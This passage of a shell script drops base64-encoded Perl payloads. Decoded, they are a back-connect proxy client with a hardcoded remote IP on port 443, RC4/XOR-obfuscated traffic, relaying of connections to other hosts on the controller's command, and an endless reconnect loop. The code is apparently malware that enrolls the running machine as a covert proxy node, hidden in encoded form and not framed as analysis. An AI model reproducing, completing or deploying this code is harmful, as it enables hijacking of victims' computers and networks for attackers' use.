ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_25() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODInOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
